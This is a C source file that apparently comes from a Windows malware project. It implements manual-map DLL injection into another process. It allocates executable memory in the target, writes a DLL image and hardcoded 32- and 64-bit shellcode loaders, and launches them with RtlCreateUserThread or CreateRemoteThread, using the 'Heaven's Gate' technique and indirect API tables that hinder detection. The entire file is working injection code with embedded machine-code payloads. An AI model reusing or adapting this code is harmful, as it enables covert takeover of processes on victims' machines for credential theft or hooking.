#include "inject.h"
#if HEAVENS_GATE && !_WIN64 
   #include "wow64ext\wow64ext.h"
#else
   DWORD64 __cdecl X64Call(DWORD64 func, int argC, ...) { return 0; }
   DWORD64 __cdecl GetModuleHandle64(wchar_t* lpModuleName)  { return 0; }
   DWORD64 __cdecl GetProcAddress64(DWORD64 hModule, char* funcName)  { return 0; }
   DWORD64 __cdecl VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)  { return 0; }
   BOOL    __cdecl WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)  { return 0; }
#endif

struct InjectData32
{
   DWORD base;
   DWORD baseRelocation;
   DWORD importDesc;
   DWORD aRtlInitAnsiString;
   DWORD aRtlAnsiStringToUnicodeString;
   DWORD aLdrLoadDll;
   DWORD aLdrGetProcedureAddress;
   DWORD aRtlFreeUnicodeString;
};

struct InjectData64
{
   DWORD64 base;
   DWORD64 baseRelocation;
   DWORD64 importDesc;
   DWORD64 aRtlInitAnsiString;
   DWORD64 aRtlAnsiStringToUnicodeString;
   DWORD64 aLdrLoadDll;
   DWORD64 aLdrGetProcedureAddress;
   DWORD64 aRtlFreeUnicodeString;
};


//to find out how these payloads were generated check out the CreateDllInjectPayload folder
static const DWORD payloadSize32 = 352;
static const BYTE payload32[] = { 0x55, 0x8b, 0xec, 0x83, 0xe4, 0xf8, 0x83, 0xec, 0x2c, 0x53, 0x56, 0x8b, 0x75, 0x08, 0x57, 0x8b, 0x1e, 0x8b, 0x7e, 0x04, 0x8b, 0x43, 0x3c, 0x03, 0xc3, 0x89, 0x44, 0x24, 0x1c, 0x2b, 0x58, 0x34, 0x83, 0x3f, 0x00, 0x74, 0x5f, 0x8d, 0x47, 0x04, 0x89, 0x44, 0x24, 0x14, 0x8b, 0x00, 0x83, 0xf8, 0x08, 0x72, 0x46, 0x83, 0xc0, 0xf8, 0xd1, 0xe8, 0x89, 0x44, 0x24, 0x10, 0xba, 0x00, 0x00, 0x00, 0x00, 0x74, 0x36, 0x0f, 0xb7, 0x44, 0x57, 0x08, 0x8b, 0xc8, 0xc1, 0xe8, 0x0c, 0x81, 0xe1, 0xff, 0x0f, 0x00, 0x00, 0x83, 0xf8, 0x03, 0x74, 0x13, 0x83, 0xf8, 0x0a, 0x75, 0x15, 0x8b, 0x07, 0x03, 0x06, 0x03, 0xc1, 0x01, 0x18, 0x83, 0x50, 0x04, 0x00, 0xeb, 0x07, 0x8b, 0x07, 0x03, 0x06, 0x01, 0x1c, 0x08, 0x42, 0x3b, 0x54, 0x24, 0x10, 0x72, 0xca, 0x8b, 0x44, 0x24, 0x14, 0x03, 0x38, 0x83, 0x3f, 0x00, 0x75, 0xa1, 0x8b, 0x5e, 0x08, 0x89, 0x5c, 0x24, 0x10, 0x8b, 0x4b, 0x0c, 0x85, 0xc9, 0x0f, 0x84, 0xa2, 0x00, 0x00, 0x00, 0x8b, 0x06, 0x03, 0xc1, 0x50, 0x8d, 0x44, 0x24, 0x34, 0x50, 0x8b, 0x46, 0x0c, 0xff, 0xd0, 0x6a, 0x01, 0x8d, 0x44, 0x24, 0x34, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x8b, 0x46, 0x10, 0xff, 0xd0, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x44, 0x24, 0x24, 0x50, 0x8b, 0x46, 0x14, 0x6a, 0x00, 0x6a, 0x00, 0xff, 0xd0, 0x8d, 0x44, 0x24, 0x20, 0x50, 0x8b, 0x46, 0x1c, 0xff, 0xd0, 0x8b, 0x3b, 0x03, 0x3e, 0x8b, 0x5b, 0x10, 0x03, 0x1e, 0x8b, 0x0f, 0x85, 0xc9, 0x74, 0x40, 0x79, 0x05, 0x0f, 0xb7, 0xc1, 0xeb, 0x07, 0x8b, 0x06, 0x83, 0xc0, 0x02, 0x03, 0xc1, 0x50, 0x8d, 0x44, 0x24, 0x2c, 0x50, 0x8b, 0x46, 0x0c, 0xff, 0xd0, 0x8d, 0x44, 0x24, 0x18, 0x50, 0x6a, 0x00, 0x8d, 0x44, 0x24, 0x30, 0x50, 0xff, 0x74, 0x24, 0x20, 0x8b, 0x46, 0x18, 0xff, 0xd0, 0x8b, 0x44, 0x24, 0x18, 0x83, 0xc7, 0x04, 0x89, 0x03, 0x8b, 0x0f, 0x83, 0xc3, 0x04, 0x85, 0xc9, 0x75, 0xc0, 0x8b, 0x5c, 0x24, 0x10, 0x83, 0xc3, 0x14, 0x89, 0x5c, 0x24, 0x10, 0x8b, 0x4b, 0x0c, 0x85, 0xc9, 0x0f, 0x85, 0x5e, 0xff, 0xff, 0xff, 0x8b, 0x44, 0x24, 0x1c, 0x8b, 0x0e, 0x8b, 0x40, 0x28, 0x6a, 0x00, 0x6a, 0x01, 0x51, 0x03, 0xc1, 0xff, 0xd0, 0x5f, 0x5e, 0x33, 0xc0, 0x5b, 0x8b, 0xe5, 0x5d, 0xc2, 0x04, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, };

static const DWORD payloadSize64 = 432;
static const BYTE payload64[] = { 0x40, 0x53, 0x55, 0x41, 0x56, 0x48, 0x83, 0xec, 0x60, 0x4c, 0x8b, 0x19, 0x4c, 0x8b, 0x41, 0x08, 0x48, 0x8b, 0xd9, 0x4d, 0x63, 0x73, 0x3c, 0x4d, 0x03, 0xf3, 0x4d, 0x2b, 0x5e, 0x30, 0x41, 0x83, 0x38, 0x00, 0x74, 0x65, 0x41, 0x8b, 0x40, 0x04, 0x83, 0xf8, 0x08, 0x72, 0x4f, 0x48, 0x83, 0xe8, 0x08, 0x4d, 0x8d, 0x48, 0x08, 0x48, 0xd1, 0xe8, 0x85, 0xc0, 0x74, 0x40, 0x44, 0x8b, 0xd0, 0x90, 0x41, 0x0f, 0xb7, 0x01, 0x8b, 0xd0, 0xc1, 0xe8, 0x0c, 0x81, 0xe2, 0xff, 0x0f, 0x00, 0x00, 0x83, 0xf8, 0x03, 0x74, 0x15, 0x83, 0xf8, 0x0a, 0x75, 0x1a, 0x41, 0x8b, 0x08, 0x8b, 0xc2, 0x48, 0x03, 0xc8, 0x48, 0x03, 0x0b, 0x4c, 0x01, 0x19, 0xeb, 0x0a, 0x41, 0x8b, 0x00, 0x03, 0x03, 0x03, 0xc2, 0x44, 0x01, 0x18, 0x49, 0x83, 0xc1, 0x02, 0x49, 0xff, 0xca, 0x75, 0xc4, 0x41, 0x8b, 0x40, 0x04, 0x4c, 0x03, 0xc0, 0x41, 0x83, 0x38, 0x00, 0x75, 0x9b, 0x48, 0x8b, 0x6b, 0x10, 0x8b, 0x45, 0x0c, 0x85, 0xc0, 0x0f, 0x84, 0xeb, 0x00, 0x00, 0x00, 0x48, 0x89, 0xb4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7c, 0x24, 0x58, 0x4c, 0x89, 0x7c, 0x24, 0x50, 0x49, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x66, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8b, 0xd0, 0x48, 0x8d, 0x4c, 0x24, 0x40, 0x48, 0x03, 0x13, 0xff, 0x53, 0x18, 0x48, 0x8d, 0x54, 0x24, 0x40, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x41, 0xb0, 0x01, 0xff, 0x53, 0x20, 0x4c, 0x8d, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, 0x20, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x53, 0x28, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xff, 0x53, 0x38, 0x8b, 0x7d, 0x00, 0x8b, 0x75, 0x10, 0x48, 0x03, 0x3b, 0x48, 0x03, 0x33, 0x48, 0x8b, 0x0f, 0x48, 0x85, 0xc9, 0x74, 0x55, 0x0f, 0x1f, 0x00, 0x49, 0x85, 0xcf, 0x74, 0x05, 0x0f, 0xb7, 0xd1, 0xeb, 0x0a, 0x48, 0x8b, 0x13, 0x48, 0x83, 0xc2, 0x02, 0x48, 0x03, 0xd1, 0x48, 0x8d, 0x4c, 0x24, 0x30, 0xff, 0x53, 0x18, 0x48, 0x8b, 0x8c, 0x24, 0x80, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x45, 0x33, 0xc0, 0xff, 0x53, 0x30, 0x48, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x08, 0x48, 0x89, 0x06, 0x48, 0x8b, 0x0f, 0x48, 0x83, 0xc6, 0x08, 0x48, 0x85, 0xc9, 0x75, 0xae, 0x8b, 0x45, 0x20, 0x48, 0x83, 0xc5, 0x14, 0x85, 0xc0, 0x0f, 0x85, 0x4f, 0xff, 0xff, 0xff, 0x4c, 0x8b, 0x7c, 0x24, 0x50, 0x48, 0x8b, 0x7c, 0x24, 0x58, 0x48, 0x8b, 0xb4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x0b, 0x41, 0x8b, 0x46, 0x28, 0x45, 0x33, 0xc0, 0x41, 0x8d, 0x50, 0x01, 0x48, 0x03, 0xc1, 0xff, 0xd0, 0x33, 0xc0, 0x48, 0x83, 0xc4, 0x60, 0x41, 0x5e, 0x5d, 0x5b, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, };

BOOL InjectDll(BYTE *dllBuffer, HANDLE hProcess, BOOL x64)
{
#ifndef _WIN64 
   if(!hProcess)
      return FALSE;

   IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *) dllBuffer;
   IMAGE_NT_HEADERS64 *ntHeaders64;
   IMAGE_NT_HEADERS32 *ntHeaders32;
   if(x64)
      ntHeaders64 = (IMAGE_NT_HEADERS64 *) (dllBuffer + dosHeader->e_lfanew);
   else
      ntHeaders32 = (IMAGE_NT_HEADERS32 *) (dllBuffer + dosHeader->e_lfanew);

   DWORD64 dllRemoteAddress = NULL;
   if(x64)
   {
      dllRemoteAddress = VirtualAllocEx64(hProcess, NULL, ntHeaders64->OptionalHeader.SizeOfImage, 
         MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   }
   else
   {
      dllRemoteAddress = (DWORD64) Funcs::pVirtualAllocEx(hProcess, NULL, ntHeaders32->OptionalHeader.SizeOfImage, 
         MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   }
   if(!dllRemoteAddress)
      return FALSE;

   DWORD64 payloadRemoteAddress = NULL;
   if(x64)
   {
      payloadRemoteAddress = VirtualAllocEx64(hProcess, NULL, sizeof(InjectData64) + payloadSize64, 
         MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   }
   else
   {
     payloadRemoteAddress = (DWORD64) Funcs::pVirtualAllocEx(hProcess, NULL, sizeof(InjectData32) + payloadSize32, 
       MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
   }
   if(!payloadRemoteAddress)
      return FALSE;

   PVOID injectData;
   IMAGE_SECTION_HEADER *sectionHeader;
   
   if(x64)
   {
      sectionHeader = (IMAGE_SECTION_HEADER *) (ntHeaders64 + 1);
      if(!WriteProcessMemory64(hProcess, dllRemoteAddress, dllBuffer, ntHeaders64->OptionalHeader.SizeOfHeaders, NULL))
         return FALSE;

      for(DWORD i = 0; i < ntHeaders64->FileHeader.NumberOfSections; ++i)
      {
         if(sectionHeader[i].SizeOfRawData == 0)
            continue;  
         if(!WriteProcessMemory64(hProcess, dllRemoteAddress + sectionHeader[i].VirtualAddress, 
            dllBuffer + sectionHeader[i].PointerToRawData, sectionHeader[i].SizeOfRawData, NULL))
         {
            return FALSE;
         }
      }

      InjectData64 injectData64;
      injectData64.base = (DWORD64) dllRemoteAddress;

      injectData64.baseRelocation = (DWORD64) dllRemoteAddress + 
         ntHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

      injectData64.importDesc = (DWORD64) dllRemoteAddress + 
         ntHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;

      DWORD64 hNtdll64 = GetModuleHandle64((wchar_t *) Strs::wNtdll);

      injectData64.aRtlInitAnsiString            = GetProcAddress64(hNtdll64, (char *) Strs::rtlInitAnsiString);
      injectData64.aRtlAnsiStringToUnicodeString = GetProcAddress64(hNtdll64, (char *) Strs::rtlAnsiStringToUnicodeString);
      injectData64.aLdrLoadDll                   = GetProcAddress64(hNtdll64, (char *) Strs::ldrLoadDll);
      injectData64.aLdrGetProcedureAddress       = GetProcAddress64(hNtdll64, (char *) Strs::ldrGetProcedureAddress);
      injectData64.aRtlFreeUnicodeString         = GetProcAddress64(hNtdll64, (char *) Strs::rtlFreeUnicodeString);

      injectData = &injectData64;

      if(!WriteProcessMemory64(hProcess, (DWORD64) payloadRemoteAddress, injectData, sizeof(InjectData64), NULL))
         return FALSE;

      if(!WriteProcessMemory64(hProcess, (DWORD64) payloadRemoteAddress + sizeof(InjectData64), (LPVOID) payload64, payloadSize64, NULL))
         return FALSE;

      DWORD64 hThread;

      struct CLIENT_ID { DWORD64 UniqueProcess; DWORD64 UniqueThread; };
      CLIENT_ID clientId;

      DWORD64 pRtlCreateUserThread = GetProcAddress64(hNtdll64, (char *) Strs::rtlCreateUserThread);
      if(X64Call(pRtlCreateUserThread, 10, (DWORD64) hProcess, (DWORD64) NULL,  (DWORD64) FALSE, (DWORD64) 0,  (DWORD64) 0,  (DWORD64) 0, 
         (DWORD64) payloadRemoteAddress + sizeof(InjectData64), (DWORD64) payloadRemoteAddress, (DWORD64) &hThread, (DWORD64) &clientId))
      {
         return FALSE;
      }
   }
   else
   {
      sectionHeader = (IMAGE_SECTION_HEADER *) (ntHeaders32 + 1);
      if(!Funcs::pWriteProcessMemory(hProcess, (PVOID) dllRemoteAddress, dllBuffer, ntHeaders32->OptionalHeader.SizeOfHeaders, NULL))
         return FALSE;
         
      for(DWORD i = 0; i < ntHeaders32->FileHeader.NumberOfSections; ++i)
      {
         if(sectionHeader[i].SizeOfRawData == 0)
            continue;  
         if(!Funcs::pWriteProcessMemory(hProcess, (PVOID) ((BYTE *) dllRemoteAddress + sectionHeader[i].VirtualAddress), 
            (PVOID) ((BYTE *) dllBuffer + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData, NULL))
         {
            return FALSE;
         }
      }

      InjectData32 injectData32;
      injectData32.base = (DWORD) dllRemoteAddress;

      injectData32.baseRelocation = (DWORD) (IMAGE_BASE_RELOCATION *) ((BYTE *) dllRemoteAddress + 
         ntHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

      injectData32.importDesc = (DWORD) (IMAGE_IMPORT_DESCRIPTOR *) ((BYTE *) dllRemoteAddress + 
         ntHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

      HMODULE hNtdll = Funcs::pLoadLibraryA(Strs::ntdll);

      injectData32.aRtlInitAnsiString            = (DWORD) GetProcAddress(hNtdll, Strs::rtlInitAnsiString);
      injectData32.aRtlAnsiStringToUnicodeString = (DWORD) GetProcAddress(hNtdll, Strs::rtlAnsiStringToUnicodeString);
      injectData32.aLdrLoadDll                   = (DWORD) GetProcAddress(hNtdll, Strs::ldrLoadDll);
      injectData32.aLdrGetProcedureAddress       = (DWORD) GetProcAddress(hNtdll, Strs::ldrGetProcedureAddress);
      injectData32.aRtlFreeUnicodeString         = (DWORD) GetProcAddress(hNtdll, Strs::rtlFreeUnicodeString);

      injectData = &injectData32;

      if(!Funcs::pWriteProcessMemory(hProcess, (PVOID) payloadRemoteAddress, injectData, sizeof(InjectData32), NULL))
         return FALSE;

      if(!Funcs::pWriteProcessMemory(hProcess, (BYTE *) payloadRemoteAddress + sizeof(InjectData32), (LPVOID) payload32, payloadSize32, NULL))
         return FALSE;

      OSVERSIONINFOEXA osVersion    = { 0 };
      osVersion.dwOSVersionInfoSize = sizeof(osVersion);
      Funcs::pGetVersionExA((LPOSVERSIONINFOA) &osVersion); 
      if(osVersion.dwMajorVersion <= 5)
      {
         if(!Funcs::pCreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) ((BYTE *) payloadRemoteAddress + sizeof(InjectData32)), (PVOID) payloadRemoteAddress, 0, NULL))
            return FALSE;
      }      
      else
      {
         HANDLE    hThread;
         CLIENT_ID clientId;
         if(Funcs::pRtlCreateUserThread(hProcess, NULL, FALSE, 0, 0, 0, ((BYTE *) payloadRemoteAddress + sizeof(InjectData32)), (PVOID) payloadRemoteAddress, &hThread, &clientId))
            return FALSE;   
      }
   }
#endif
   return TRUE;
}